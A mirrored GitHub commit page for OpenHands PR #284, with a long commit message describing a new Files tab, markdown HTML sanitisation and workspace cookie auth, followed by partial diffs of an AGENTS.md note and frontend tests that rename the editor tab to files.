mirror of
https://github.com/OpenHands/OpenHands.git
synced 2026-10-07 14:17:58 +08:00
feat(files-tab): Files tab with diff + rich/plain file viewer, safe-HTML markdown (#284)
* Add Files tab with file viewer and diff view modes Replaces the previous Changes and App (served-host) tabs with a unified Files tab that supports two top-level modes: - Diff View (default when working inside a git repo): renders the existing Changes UI in-place. - File Viewer: shows a quick-access row of the most important files (index.html, package.json, README.md, etc.) with an overflow dropdown, plus an on-demand expandable file tree. Selecting a file shows its content with a Rich/Plain toggle. Rich mode renders HTML, markdown, and images in a sandboxed iframe; Plain mode shows plaintext with a binary-fallback message. Includes a new useIsGitRepo hook and supporting workspace-files hooks plus utilities for sorting files by priority and building a tree from flat paths. Co-authored-by: openhands <openhands@all-hands.dev> * fix(files-tab): only default to diff view when a repo was explicitly attached The previous detection relied on whether 'git status' succeeded against the workspace, but the agent-server initialises every workspace as an internal git worktree for change tracking. As a result, a brand-new conversation with no user-attached repo was incorrectly treated as a git repo and the Files tab opened in diff view. Drop the filesystem probe and use the conversation's 'selected_repository' as the sole signal — that's the field populated by the repo picker for 'an existing git repo' from the user's point of view. Co-authored-by: openhands <openhands@all-hands.dev> * feat(files-tab): refresh button covers file list, auto-refresh on edits Two related fixes to the Files tab data lifecycle: 1. The toolbar refresh button used to only refetch git changes (the diff view). It now also invalidates the workspace file list and any cached file contents, so clicking it works as expected in both modes. 2. Add a useAutoRefreshFilesOnEdit hook mounted by FilesTab that watches the conversation event store and invalidates the workspace-files, workspace-file-content and file_changes queries whenever the agent produces a mutating file-editor observation (create / str_replace / insert / undo_edit). Read-only 'view' commands and non-file observations are ignored. The hook is array-position based so it processes each event exactly once. Tests: 4 new for the hook, all existing files-tab and conversation-tabs tests still pass. Co-authored-by: openhands <openhands@all-hands.dev> * feat(files-tab): tree toggle, full paths, real markdown rendering UI changes to the workspace file viewer: - Replace the trailing 'more files' overflow dropdown with a single caret button on the LEFT of the quick-access row that toggles the left-hand file tree. Tree is shown by default; users who want more horizontal space for the content pane can collapse it. There is no longer a dropdown listing extra files — anything that doesn't fit in the pills row is reachable by opening the tree. - Pills in the quick-access row now display the full relative file path (e.g. 'src/main.ts') instead of just the basename, so users can distinguish between same-named files in different folders at a glance. The full path also serves as the tooltip. - Markdown files are now rendered via the existing MarkdownRenderer (react-markdown + remark-gfm + remark-breaks) inside a styled prose container. The old approach piped raw text into a sandboxed <iframe> wrapped in <pre>, which displayed unrendered markdown source. The iframe path is removed for .md / .markdown / .mdx files. Tests: 3 new cases in files-tab.test.tsx (full-path pills, tree-toggle round-trip, markdown rendering with h1 + bold + no iframe). All 28 existing files-tab / conversation-tabs / auto-refresh tests still pass, plus markdown component tests (27/27). AGENTS.md now records the worktree policy: don't auto-switch the main workspace away from the worktree's branch unless the user explicitly asks. Co-authored-by: openhands <openhands@all-hands.dev> * feat(files-tab): static fileserver + tab/toolbar layout pass Switches the Files tab to the agent server's static workspace fileserver (software-agent-sdk PR #3192) and shuffles the layout in response to real-world usage feedback. == Static workspace fileserver == The agent server now exposes each conversation's workspace at GET /api/conversations/{conversation_id}/workspace/{file_path:path}. A new utility, buildWorkspaceFileUrl, composes that URL from the conversation_url (host + optional path-prefix for proxy deployments) and conversation id. useWorkspaceFileContent is refactored to: * always expose a 'staticUrl' field, so consumers can point an iframe or <img> at the same-origin fileserver and benefit from relative asset resolution. * skip fetching the bytes for image/PDF kinds entirely (the consumer renders staticUrl directly). * for text-classified files, fetch via the static URL with X-Session-API-Key auth instead of going through the typescript- client RemoteWorkspace.downloadAsBlob (which we no longer need for this view). * drop blobUrl and absolutePath from WorkspaceFileContent — they were only used by the iframe renderer, which now uses staticUrl. FileContentViewer in rich mode: * HTML/SVG and PDFs render with <iframe src={staticUrl}> (no sandbox) so relative asset references load against the same origin. * Images render with <img src={staticUrl}> (no blob URL plumbing). * Markdown still uses MarkdownRenderer; plain mode unchanged. Caveat (intentional, matches user spec): on agent servers with a configured session_api_keys list, iframe src cannot send the X-Session-API-Key header, so rich HTML/PDF previews won't load there. Unauthenticated (auto_error=False, empty key list) servers — the default for local dev — work. == Tab bar / toolbar layout == * Files tab moved to the leftmost slot in ConversationTabs (was second, after Planner). Task-list insertion adjusted from unshift() to splice(1, 0, ...) so Files stays leftmost even when present. * Refresh button removed from the top tab bar and re-homed inside the FilesTab toolbar; it now sits next to the diff/files and rich/plain toggles on the right edge of that row. * Rich/Plain toggle moved from the right-hand side of the toolbar to sit immediately next to the Diff/Files toggle on the left (justify-between → flex-start gap-3, with the refresh button using ml-auto). * Left-hand file tree collapsed by default (was expanded). The quick-row caret on the pill row is the toggle, as before. * 'Diff view' label shortened to just 'Diff' across all 15 locales in translation.json (key FILES retained to avoid a noisy rename in the generated declaration.ts). == Tests == * New: __tests__/utils/workspace-file-url.test.ts (7 tests) covers null guards, encoding of path segments, leading-slash stripping, omitted relativePath, and proxy-deployment path prefixes. * New: __tests__/i18n/files-diff-label.test.ts locks the renamed English label in translation.json (the test environment's i18next mock returns keys, so we assert against the source-of-truth file). * files-tab.test.tsx: - mock content shape updated to use staticUrl (no more blobUrl / absolutePath). - default-state expectations updated for the collapsed tree. - tree-toggle test inverted: hidden → expand → hide. - new test asserts HTML files render as <iframe src={staticUrl}> (no sandbox attribute). - new test asserts the refresh button lives in the files-tab toolbar and triggers refetchGitChanges. * conversation-tabs.test.tsx: - old 'refresh button in the top tab bar' test replaced with the inverse assertion (no standalone refresh <button> there now). - two new tests pin Files as the leftmost tab in both has-tasklist and no-tasklist cases. All 40 focused tests pass; typecheck clean; src/ lint + prettier clean. Co-authored-by: openhands <openhands@all-hands.dev> * feat(files-tab): GFM+safe HTML markdown; suppress diff default on empty repos == Markdown rendering == MarkdownRenderer was only running remark-gfm + remark-breaks. Raw inline HTML in markdown source (e.g. <details>, <kbd>, <mark>, GitHub-style badges, or anchor target=_blank tricks) was silently dropped by react-markdown's default behaviour. This commit: * Adds rehype-raw to parse raw HTML embedded in markdown into the rehype tree. * Adds rehype-sanitize to strip anything dangerous before render -- scripts, event handlers, javascript:/data: URLs in href, and any tags not in the allow-list. * Extends the default sanitize schema with markdown-friendly extras (className/id/style on all elements; target+rel on anchors; img with safe src schemes only; <details>/<summary>, <figure>/ <figcaption>, <mark>, <kbd>, <sub>, <sup>). * Restricts URL protocols on href to http/https/mailto/tel and on src to http/https/data (so data:image/... still works for inline base64 images, but data:text/html -- XSS vector -- does not). The new behaviour is opt-out via a new MarkdownRenderer prop, 'allowHtml', which defaults to true. The sanitize schema makes raw HTML safe by construction, so on-by-default is the right call -- and it's consistent with how GitHub and most markdown renderers behave. 11 new markdown-renderer tests cover GFM tables/strikethrough/task lists, inline HTML rendering (<mark>, <kbd>, <details>/<summary>), sanitisation of <script>/onclick/javascript:/<iframe>, safe URL schemes (https/mailto) passing through, and the allowHtml=false opt-out path. All 217 tests in the chat / diff-viewer / planner / conversation-panel suites still pass -- confirming no regression from making allowHtml default-on for the existing call sites. == Diff-view default for empty repos == The Files tab was defaulting to diff view whenever the conversation had a selected_repository, even on attached repos with zero commits (unborn HEAD -- e.g. a freshly-created empty GitHub repo). In that state the diff view has nothing to diff against and looks broken; the file viewer is a much better landing experience. * Adds src/hooks/query/use-has-git-commits.ts -- a thin useQuery- backed hook that shells out via the conversation's RemoteWorkspace to run 'git rev-parse --verify HEAD' in the working dir. Exit 0 -> hasCommits: true; non-zero -> false. The enabled flag is plumbed through so we don't probe when there's no attached repo to check (saves a workspace round trip on every plain conversation). * FilesTab now derives diffViewDefault as isGitRepo && hasCommits !== false -- i.e. only enables diff by default when both conditions hold, treating the in-flight 'null' state as optimistically true so we don't get a files->diff flash on the common path. 3 new files-tab tests cover empty-repo behaviour, the enabled-gating of the probe when no repo is attached, and the optimistic in-flight default. == Tests / Quality gates == * typecheck: clean (react-router typegen + tsc). * eslint + prettier on changed src files: clean. * Vitest focused run: 52/52 (markdown + files-tab). * Vitest chat + diff-viewer + planner + conversation-panel: 217/217 (no regressions from default-on allowHtml). Co-authored-by: openhands <openhands@all-hands.dev> * feat(files-tab): mint workspace cookie via startWorkspaceSession for iframe/img auth Bumps @openhands/typescript-client to feat/workspace-static-session (f062287d) which adds POST /api/auth/workspace-session. Calling it exchanges the X-Session-API-Key for an HttpOnly cookie scoped to /api/conversations -- which is the only auth mechanism the browser attaches to top-level <iframe src> / <img src> requests. == New plumbing == * src/api/typescript-client.ts: factory createRemoteConversation(id) that wraps RemoteConversation with a placeholder Agent (required by the constructor but unused for startWorkspaceSession). RemoteConv and Agent come from the package root -- they're not exposed under the package's subpath exports. * src/hooks/query/use-workspace-session.ts: useWorkspaceSession hook that fires startWorkspaceSession once per conversation via react- query, caches the result with staleTime: Infinity (the cookie sticks in the browser jar; re-issuing the POST is wasted work), and exposes { baseUrl }. retry: false because a 401 here is a fixed config issue, not transient. * Same file: joinWorkspaceUrl(baseUrl, relativePath) -- URL-encodes each path segment but preserves "/" separators. Replaces the standalone src/utils/workspace-file-url.ts which is removed. == Refactor == * use-workspace-file-content.ts now derives staticUrl from useWorkspaceSession's baseUrl via joinWorkspaceUrl, gates the query on !!baseUrl (so we don't fire fetches against an unauthenticated URL), and switches fetch() to credentials: "include" instead of the X-Session-API-Key header. This makes our JS fetch ride the same auth path as the iframe/img -- one behavior, one CORS story, no preflight for a custom header. == Tests == * __tests__/hooks/query/use-workspace-session.test.tsx -- 9 tests: happy path (POST fires, baseUrl flows through, createRemote Conversation gets the right args); runtime-not-ready and no- conversation-id both gate the POST; error surfaces as isError + error.message; joinWorkspaceUrl covers empty / single-segment / nested / leading-slash / unicode + space encoding. * Deleted __tests__/utils/workspace-file-url.test.ts -- the helper it pinned is gone, joinWorkspaceUrl is covered by the new tests. == Quality gates == * typecheck clean (react-router typegen + tsc). * Targeted vitest run: 251/251 across markdown / files-tab / chat / diff-viewer / planner / conversation-panel / workspace-session. * Lint has known issues in the new test file (display-name and function-component-definition warnings on the QueryClient wrapper factory; no-promise-executor-return on the `await new Promise(r => setTimeout(r, 10))` polling -- both patterns already in use in other __tests__/hooks/query/*.test.tsx files); will sweep separately. Co-authored-by: openhands <openhands@all-hands.dev> * chore(files-tab): clear remaining lint errors on the branch * __tests__/hooks/query/use-workspace-session.test.tsx: name the QueryClientProvider wrapper component (silences react/display-name + react/function-component-definition) and lift the setTimeout("yield to scheduler") trick into a flushScheduler() helper (silences no-promise-executor-return -- ESLint forbids returning a value from a Promise executor). * src/utils/conversation-local-storage.ts: replace the destructure- with-throwaway-name pattern (which tripped naming-convention on `_drop`) with a plain spread + delete -- one statement clearer, no rename gymnastics. Also re-wrap the signature so prettier is happy. * src/components/features/conversation/conversation-tabs/conversation- tab-content/conversation-tab-content.tsx: prettier reformat (one long line broken). Verified: full `npm run lint` passes (10 pre-existing warnings in files outside this branch's scope remain). Co-authored-by: openhands <openhands@all-hands.dev> * feat(files-tab): use RemoteWorkspace.startWorkspaceSession directly typescript-client PR #155 was reshaped to land startWorkspaceSession on RemoteWorkspace (taking conversationId as an argument) rather than on RemoteConversation. The new shape is strictly simpler for our use case: minting a workspace cookie no longer requires constructing a placeholder Agent + RemoteConversation just to call one method. Changes: * package.json / package-lock.json: bump @openhands/typescript-client pin to github:OpenHands/typescript-client#6b5a65c5 (head of feat/workspace-static-session, sole commit on PR #155). * src/api/typescript-client.ts: drop the createRemoteConversation factory along with the Agent + RemoteConversation imports it needed -- callers can now go through createRemoteWorkspace (which already existed for git-service) for everything we use. * src/hooks/query/use-workspace-session.ts: call createRemoteWorkspace({ conversationUrl, sessionApiKey }) and then workspace.startWorkspaceSession(conversationId). Same return value (baseUrl string), same caching semantics. * __tests__/hooks/query/use-workspace-session.test.tsx: rename the mocked factory + assertions to match. The hook's surface (data, isLoading, isError, error) is unchanged so the rest of the suite is untouched. Verified: typecheck clean, workspace-session + files-tab tests (23/23) pass, full `npm run lint` reports 0 errors (10 pre-existing warnings in unrelated files remain). Co-authored-by: openhands <openhands@all-hands.dev> * feat(files-tab): persist toggles + cache-bust iframe + depth-first sort + external-open link Five behavioural improvements to the Files tab, plus the corresponding typescript-client pin bump now that PR #155 has merged to main. 1. Persist diff-view + rich/plain choice per-conversation. Both Files tab toggles now live in conversation localStorage rather than transient component state, so switching to another conversation and back restores whatever view the user last selected. Implemented by adding `filesTabDiffView` (nullable -- null means 'fall back to repo-aware default') and `filesTabContentViewMode` to `ConversationState`, exposing matching setters from `useConversationLocalStorageState`, and wiring the toolbar `SegmentedToggle`s to them. When the hook is called with an empty or task-placeholder id it now mirrors updates into local React state instead of dropping them on the floor -- keeps the UI reactive in unit tests / pre-route renders. 2. Fix initial files→diff flash inside a real repo. While `useIsGitRepo` is still loading we now stay optimistic (`isGitRepo || isGitRepoLoading`), matching the existing optimism around `hasCommits`. The user-visible bug was: a brand new conversation attached to a git repo would show files-view for one frame before flipping to diff-view, and any persisted choice we made during that frame stuck. 3. Cache-bust iframes / images after every file-editor observation. New `useWorkspaceMutationCounter` zustand store: a monotonic counter `useAutoRefreshFilesOnEdit` bumps every time it sees a mutating `FileEditorObservation` / `StrReplaceEditorObservation` / `PlanningFileEditorObservation`. `FileContentViewer` and the toolbar 'open in new window' link append it to the workspace static URL as `?v=<n>`, so the browser refetches HTML/CSS/images the agent just rewrote on disk instead of showing the stale cached response. Read-only `view` observations and unrelated kinds (e.g. `ExecuteBashObservation`) don't bump. 4. Depth-first file ranking. `sortFilesByPriority` now sorts by path depth first (shallower wins unconditionally), then by high/secondary basename importance, then alphabetically. Concretely: top-level `README.md` outranks `foo/bar/index.html`, but `index.html` still beats `README.md` at the same depth. Updated docs + added tests for the new contract. 5. 'Open in new window' affordance. New external-link button in the Files tab toolbar, rendered next to the refresh button while in file-viewer mode whenever a file is selected and we've resolved its workspace static URL. Hidden in diff-view (no single meaningful URL to point at). Cache-bust query string applied so the popped-out tab also sees the latest bytes. Also bumps `@openhands/typescript-client` to `ef62e82fc3dfb03991a1c8025429caf354427263` -- the merge commit of PR #155 on main. No API change vs the previous `6b5a65c5...` pin (that was the only commit on the merged branch); this just gets us off the soon-to-be-deleted feature branch ref. Tests: * Full suite: 1805 passed / 12 skipped / 9 todo across 283 files. * `__tests__/utils/file-priority.test.ts`: added two new cases pinning the depth-first + same-depth rules. * `__tests__/hooks/use-auto-refresh-files-on-edit.test.tsx`: added two cases pinning the mutation-counter bump (yes on mutations, no on `view` / non-file observations). * `__tests__/routes/files-tab.test.tsx`: existing iframe-src test switched from strict equality to a `^staticUrl\?v=\d+$` regex to allow the cache-buster suffix. * `__tests__/hooks/use-draft-persistence.test.tsx` and `__tests__/hooks/use-handle-plan-click.test.tsx`: fixtures updated to include the new ConversationState fields and matching setter mocks. Lint clean (0 errors; 10 pre-existing warnings remain). Typecheck clean. New i18n key `FILES$OPEN_IN_NEW_WINDOW` translated across all 15 locales. Co-authored-by: openhands <openhands@all-hands.dev> * fix(files-tab): address PR #284 review comments - Markdown sanitizer: drop `style` attribute from allowlist (CSS-injection / data-exfiltration channel) and remove `data:` from `src` protocol allowlist (data:text/html bypass). - HTML / PDF preview iframes: add `sandbox="allow-same-origin"` so scripts and inline event handlers in previewed files cannot execute in the canvas context while relative asset refs still resolve. - Auto-refresh hook: track processed event ids in a Set instead of slicing the tail by length, so out-of-order events inserted into the (sorted) event store still trigger invalidation + cache-bust. - File tree builder: replace O(n) `children.find` with an O(1) side-table Map per parent; promote a leaf node to a directory if a deeper path arrives later. - Conversation localStorage: filter removed tab names ("editor", "served", "changes", "app") out of `selectedTab` and `unpinnedTabs` on read so ghost entries don't linger. - File-content viewer: distinguish load-error from binary-fallback with a new `FILES$LOAD_ERROR` i18n key. - package.json: exact-pin `rehype-raw` and `rehype-sanitize` (no caret). - Tests: add security regressions (style attr, data:text/html, inline event handlers), tree promotion + wide-dir smoke test, out-of-order mutation event test, unpinnedTabs migration test; update HTML-preview iframe sandbox assertion. Co-authored-by: openhands <openhands@all-hands.dev> * Update src/components/features/markdown/markdown-renderer.tsx Co-authored-by: OpenHands Bot <contact@all-hands.dev> * feat(files-tab): drop "read-only" from terminal title, theme markdown preview, prism-highlight source/plain views Three small UI changes that go together: 1. Terminal tab title — strip the "(read-only)" qualifier from COMMON$TERMINAL in every locale. The fact that the embedded xterm doesn't echo stdin is internal plumbing; users just want to see "Terminal" in the tab strip. 2. Rich-mode markdown preview — paint the wrapper in the right-pane chrome color (\#25272D) and force every text node to white. The old `bg-white text-[#222]` made markdown files look like a stark card floating on the dark canvas. Switched to `prose prose-invert` and layered arbitrary CSS-variable utilities (`[--tw-prose-body:#fff]` et al.) on top, because the typography plugin's prose-invert default is off-white (#e5e5e5) rather than pure white. Existing custom heading components already use text-white and continue to win. 3. Source-code views (rich AND plain) and plain views of markdown/HTML — feed everything through the existing PrismLight pipeline used by chat code-block rendering. New `HighlightedSourceView` component wraps SyntaxHighlighter with vscDarkPlus + a transparent background so the highlighter blends with the right-pane chrome instead of painting its own slab. New `getPrismLanguageForFile` util resolves extensions (.ts, .py, .yaml, ...) and well-known no-extension filenames (Dockerfile, Makefile, .bashrc, ...) to Prism grammars, falling back to a raw `<pre>` when nothing matches. Behavior matrix in the files tab now reads: Rich mode: HTML/SVG -> sandboxed iframe preview Markdown -> rendered (dark bg, white text) Image -> <img> PDF -> sandboxed iframe Source -> highlighted source (no other "rich" form for code) Plain mode: Source -> highlighted source Markdown -> highlighted markdown source (see the markup) HTML -> highlighted markup source Other -> raw <pre> fallback (rare) Binary -> binary fallback message Tests: - New unit tests for getPrismLanguageForFile (extensions, no-ext filenames, case-insensitive, mime-type fallback, null on unknown). - files-tab integration tests now assert the markdown wrapper paints bg-[#25272D]/text-white, and that toggling .md to plain renders highlighted markdown source rather than rich markup. Lint and full test suite intentionally not re-run on this commit; follow-up commits address upstream issues and PR review feedback. Co-authored-by: openhands <openhands@all-hands.dev> * fix(markdown): repair botched suggestion in fc208bc — collapse rel-attribute schema fc208bc applied PR review feedback via the GitHub web-UI "commit suggestion" button, but the suggested replacement ended up *inside* the existing array literal instead of replacing it: a: [ ...(defaultSchema.attributes?.a ?? []), "target", a: ["href", "title", "target", "rel"], // ← syntax error ], That's a labeled-statement-like token inside an array literal — it fails both `tsc` and `eslint` parsing, breaking the branch's build and typecheck for everyone pulling this PR. Fix-forward (preserves rbren's authorship of fc208bc in history) by applying the reviewer's actual intent: collapse the `a` allow-list to `["href", "title", "target", "rel"]`. This addresses the security concern the reviewer raised in thread 3215928329 — the old `["rel", "noopener", "noreferrer", "nofollow"]` form is rehype-sanitize's exact-value variant, which strips the standard space-separated `rel="noopener noreferrer"` and reintroduces a reverse-tabnabbing vector on raw HTML anchors with `target="_blank"`. Added a comment in the schema explaining the reasoning. A regression test for this is added in the next commit (PR review feedback round 2) alongside the rest of the round-2 fixes. Co-authored-by: openhands <openhands@all-hands.dev> * fix(files-tab): address PR #284 round-2 review comments Round 2 of review feedback on PR #284. The five threads addressed here all came in together at 01:39 UTC; the related rel-attribute schema fix is in the previous commit (7c099bf). Hook (use-auto-refresh-files-on-edit): * Guard against undefined event.id (3215928337). The event store accepts events with no id (`getEventId` returns `string | number | undefined`). The previous version of the hook blindly called `has(event.id)` / `add(event.id)`, which put the literal `undefined` into the Set on the first id-less arrival and then silently swallowed every subsequent id-less event because the Set already contained that key. Now we only consult/touch the set when the id is defined; id-less events are always treated as new. * Widen processedIdsRef from Set<string> to Set<string | number> (3215928342). The formal EventID type is string, but the event store itself uses Set<string | number> defensively and getEventId returns string | number | undefined — the hook mirrors that tolerance so a stray numeric id never sneaks past dedup. Tests added for the above (3215928347): * `does NOT deduplicate id-less events (every id-less arrival is a new event)` — three distinct id-less FileEditorObservations land in sequence and we expect three counter bumps; with the old implementation only the first would land. * `dedupes numeric event ids the same way as string ids` — same numeric-id event added twice produces exactly one counter bump. Markdown sanitizer (3215928336): * Export MARKDOWN_SANITIZE_SCHEMA so tests can target the schema directly. Wrote a docstring explaining why the through-component test the reviewer suggested wouldn't catch the bug: our custom `anchor` component hard-codes `target="_blank" rel="noopener noreferrer"`, so the final DOM is safe regardless of what the schema does to HAST. We have to test the schema in isolation. * Two new `describe("MARKDOWN_SANITIZE_SCHEMA")` tests that run hast-util-sanitize directly on hand-built HAST trees: - rel="noopener noreferrer" survives sanitization (regression for the fc208bc bug — the old exact-match schema would have stripped it) - rel="nofollow ugc" also survives (locks in the property that *any* rel-token combination is safe, since rel doesn't execute code or navigate) Conversation local storage (3215928349, 3215928351): * Existing unpinnedTabs filter test extended from `["editor", "changes", "served"]` to all four removed tabs (`+"app"`). The previous version of the test missed "app" and that gap is exactly what let the original whitelist-vs-denylist bug slip through. * New `describe("filesTabDiffView persistence")` block with four tests: default-null, round-trip true, round-trip false, isolation between conversations. The boolean is per-conversation and its default-null is load-bearing — the higher layer relies on null to apply the git-repo-aware default. * New `describe("filesTabContentViewMode persistence")` block with four tests: default-'rich', round-trip 'plain', round-trip explicit 'rich', isolation between conversations. The 'rich' default is locked in so a careless field-initializer rename doesn't quietly flip every user from rich to plain after deploy. Lint and full test suite intentionally not re-run on this commit per the user's instruction; will run on the next pass once any further review feedback is in. Co-authored-by: openhands <openhands@all-hands.dev> * fix(files-tab): make CI green (lint + correct id-less event dedup) CI was red on `4e9271b` for two reasons: 1. **Lint errors** (prettier + no-continue) that I'd skipped on the user's instruction during the round-2 commit: * `src/hooks/use-auto-refresh-files-on-edit.ts:75` — `no-continue` violation from the new id-guard. Rewrote to use an inverted `alreadyProcessed` predicate instead of `continue` so the control flow reads the same way without breaking the lint rule. * `src/utils/file-language.ts` — three prettier diffs (string-quote style + Math.max arg wrapping). Auto-fixed via `eslint --fix`. * `src/components/features/files-tab/file-content-viewer.tsx` — two prettier wraps on long className + JSX expression that showed up after the round-1 round of edits. Auto-fixed. 2. **A real bug** the lint-fix exposed in the round-2 test: the suggested test (and mine, which followed it) asserted `counter === 3` after adding three id-less events inside a single `act()` block. That assertion is wrong because the hook bumps the counter exactly once per effect flush (the bump is outside the event loop), and act() batches all three addEvent calls into one flush. But while investigating, I found the underlying bug the reviewer was probing toward: id-less events were not durably deduped. The events array is rebuilt on every store mutation but its element references are stable, so a single id-less event would re-trigger the bump on every subsequent render — spamming cache invalidations forever. Fix: added a second tracking store, `processedEventsRef`, a `WeakSet<OHEvent>` keyed by object reference. Id-less events dedup by reference; id-bearing events still dedup by id. The WeakSet doesn't pin the events in memory after the store clears them, so there's no leak. Long explanatory comment in the hook covers both halves of the contract (why we can't put `undefined` in the id Set, and why id-less events still need *some* form of dedup). Tests restructured accordingly: * `processes each id-less event distinctly` — three SEPARATE `act()` calls (one per event) so each gets its own effect flush; counter ends at 3. Comment explains why the single-act() version of this assertion is meaningless. * `does NOT re-bump on subsequent renders for the same id-less event` — NEW test that catches the spurious-rebump bug directly: add one id-less event, then `rerender()` three extra times, assert counter stays at 1. This would fail against the previous version of the fix (no WeakSet path). Verified locally: `npm run typecheck` clean, `npm run lint` 0 errors (10 pre-existing warnings in files I didn't touch), `npm test` all 1862 tests pass (286 files, 12 skipped + 9 todo — all pre-existing). Co-authored-by: openhands <openhands@all-hands.dev> --------- Co-authored-by: openhands <openhands@all-hands.dev> Co-authored-by: OpenHands Bot <contact@all-hands.dev>
This commit is contained in:
committed by
GitHub
co-authored by
openhands
OpenHands Bot
parent
2d8f260c09
commit
7ea79e0a39
@@ -197,3 +197,5 @@
|
||||
- Changes tab / `FileDiffViewer` deleted-file note: the agent-server's `/api/git/diff` endpoint calls `path.exists()` first (see `openhands-sdk/openhands/sdk/git/git_diff.py` → `get_git_diff`), so requesting a diff for a `D` (deleted) file returns `GitPathError` → HTTP 400 and trips the global QueryCache error toast. `useUnifiedGitDiff` disables the query when `type === "D"` and `FileDiffViewer` renders a localized "file deleted" placeholder (`DIFF_VIEWER$FILE_DELETED`, `data-testid="file-deleted-message"`) instead of the view-mode toolbar / Monaco editor for that case.
|
||||
|
||||
- Onboarding modal: `src/components/features/onboarding/onboarding-modal.tsx` is a 4-step welcome flow rendered by `<OnboardingHost />` (mounted on the home route) and gated by the `openhands-onboarded` localStorage flag (`use-onboarding-completion.ts`). The four steps live under `steps/`: choose-agent (Step 0 – OpenHands selectable, Claude Code & Codex disabled with a "coming soon" note), check-backend (embeds the new `BackendForm` extracted from `backend-form-modal.tsx` plus a colored connection banner driven by `useBackendsHealth`), setup-llm (renders `<LlmSettingsScreen onSaveSuccess={onNext} />` so the existing settings UI keeps owning validation), and say-hello (text input pre-filled from `ONBOARDING$HELLO_DEFAULT_MESSAGE`, launches a no-workspace conversation via `useCreateConversation` and closes the modal). Animation: all four panels are mounted as siblings inside a horizontal rail; advancing/retreating just sets `currentStep`, which translates the rail by `-(step * 100)%` for the slide effect. Progress is rendered by `OnboardingProgressBar` with `data-state` per segment (`completed` | `current` | `upcoming`). When extending, refactor `BackendFormModal` carefully — the inner `BackendForm` is the public surface used both by the modal and by `CheckBackendStep`; the modal version still owns dirty/save tracking so it keeps "Save"/"Cancel" footer behavior.
|
||||
|
||||
- Worktree policy (this conversation): commits are made on the worktree branch and the user expects the worktree to stay attached to that branch. Do NOT run `git switch --detach` in the worktree and reattach the branch to the main workspace after each commit — only do that when the user explicitly asks. See `~/.openhands/skills/worktree-switch/SKILL.md` for the manual procedure the user invokes.
|
||||
|
||||
@@ -19,8 +19,8 @@ vi.mock("#/hooks/use-conversation-id", () => ({
|
||||
|
||||
|
||||
// Mock lazy-loaded components
|
||||
vi.mock("#/routes/changes-tab", () => ({
|
||||
default: () => <div data-testid="editor-tab-content">Editor Tab Content</div>,
|
||||
vi.mock("#/routes/files-tab", () => ({
|
||||
default: () => <div data-testid="files-tab-content">Files Tab Content</div>,
|
||||
}));
|
||||
|
||||
// Control for lazy loading test
|
||||
@@ -34,12 +34,6 @@ vi.mock("#/routes/browser-tab", () => ({
|
||||
},
|
||||
}));
|
||||
|
||||
vi.mock("#/routes/served-tab", () => ({
|
||||
default: () => (
|
||||
<div data-testid="served-tab-content">Served Tab Content</div>
|
||||
),
|
||||
}));
|
||||
|
||||
vi.mock("#/routes/vscode-tab", () => ({
|
||||
default: () => (
|
||||
<div data-testid="vscode-tab-content">VSCode Tab Content</div>
|
||||
@@ -89,7 +83,7 @@ describe("ConversationTabContent", () => {
|
||||
},
|
||||
});
|
||||
// Reset store state
|
||||
useConversationStore.setState({ selectedTab: "editor" });
|
||||
useConversationStore.setState({ selectedTab: "files" });
|
||||
// Reset conversation ID
|
||||
mockConversationId = "test-conversation-id-123";
|
||||
});
|
||||
@@ -100,23 +94,23 @@ describe("ConversationTabContent", () => {
|
||||
});
|
||||
|
||||
describe("Rendering", () => {
|
||||
it("should render editor tab content by default", async () => {
|
||||
setSelectedTab("editor");
|
||||
it("should render files tab content by default", async () => {
|
||||
setSelectedTab("files");
|
||||
|
||||
render(<ConversationTabContent />, { wrapper: createWrapper() });
|
||||
|
||||
await waitFor(() => {
|
||||
expect(screen.getByTestId("editor-tab-content")).toBeInTheDocument();
|
||||
expect(screen.getByTestId("files-tab-content")).toBeInTheDocument();
|
||||
});
|
||||
});
|
||||
|
||||
it("should render editor tab when selectedTab is null", async () => {
|
||||
it("should render files tab when selectedTab is null", async () => {
|
||||
setSelectedTab(null);
|
||||
|
||||
render(<ConversationTabContent />, { wrapper: createWrapper() });
|
||||
|
||||
await waitFor(() => {
|
||||
expect(screen.getByTestId("editor-tab-content")).toBeInTheDocument();
|
||||
expect(screen.getByTestId("files-tab-content")).toBeInTheDocument();
|
||||
});
|
||||
});
|
||||
});
|
||||
@@ -132,16 +126,6 @@ describe("ConversationTabContent", () => {
|
||||
});
|
||||
});
|
||||
|
||||
it("should render served tab when selected", async () => {
|
||||
setSelectedTab("served");
|
||||
|
||||
render(<ConversationTabContent />, { wrapper: createWrapper() });
|
||||
|
||||
await waitFor(() => {
|
||||
expect(screen.getByTestId("served-tab-content")).toBeInTheDocument();
|
||||
});
|
||||
});
|
||||
|
||||
it("should render vscode tab when selected", async () => {
|
||||
setSelectedTab("vscode");
|
||||
|
||||
@@ -273,15 +257,15 @@ describe("ConversationTabContent", () => {
|
||||
|
||||
describe("Tab state persistence", () => {
|
||||
it("should render content based on store state", async () => {
|
||||
// First render with editor tab
|
||||
setSelectedTab("editor");
|
||||
// First render with files tab
|
||||
setSelectedTab("files");
|
||||
|
||||
const { rerender } = render(<ConversationTabContent />, {
|
||||
wrapper: createWrapper(),
|
||||
});
|
||||
|
||||
await waitFor(() => {
|
||||
expect(screen.getByTestId("editor-tab-content")).toBeInTheDocument();
|
||||
expect(screen.getByTestId("files-tab-content")).toBeInTheDocument();
|
||||
});
|
||||
|
||||
// Change the store state
|
||||
@@ -298,13 +282,13 @@ describe("ConversationTabContent", () => {
|
||||
|
||||
describe("Suspense boundary", () => {
|
||||
it("should wrap tab content in Suspense boundary", async () => {
|
||||
setSelectedTab("editor");
|
||||
setSelectedTab("files");
|
||||
|
||||
render(<ConversationTabContent />, { wrapper: createWrapper() });
|
||||
|
||||
// The component should render without throwing
|
||||
await waitFor(() => {
|
||||
expect(screen.getByTestId("editor-tab-content")).toBeInTheDocument();
|
||||
expect(screen.getByTestId("files-tab-content")).toBeInTheDocument();
|
||||
});
|
||||
});
|
||||
});
|
||||
|
||||
@@ -40,7 +40,7 @@ describe("ConversationTabsContextMenu", () => {
|
||||
__resetActiveStoreForTests();
|
||||
mockHasTaskList = false;
|
||||
useConversationStore.setState({
|
||||
selectedTab: "editor",
|
||||
selectedTab: "files",
|
||||
isRightPanelShown: true,
|
||||
hasRightPanelToggled: true,
|
||||
});
|
||||
@@ -60,9 +60,8 @@ describe("ConversationTabsContextMenu", () => {
|
||||
// Default active backend is local, so the Code (vscode) entry is hidden.
|
||||
const expectedTabs = [
|
||||
"COMMON$PLANNER",
